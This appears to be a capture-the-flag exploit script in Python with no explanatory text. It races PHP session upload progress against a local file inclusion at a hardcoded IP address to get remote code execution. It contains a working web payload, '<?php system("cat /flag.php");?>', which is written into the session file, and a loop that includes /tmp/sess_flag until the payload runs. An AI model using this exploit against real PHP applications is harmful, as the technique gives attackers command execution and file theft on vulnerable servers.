1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import io import requests import threading
url = 'http://121.43.55.52:10078/'
def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag.php");?>dotast' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url, cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session): while True: response = session.get(url + "?file=/tmp/sess_flag") if 'dotast' in response.text: print(response.text) break else: print("NO")
if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
|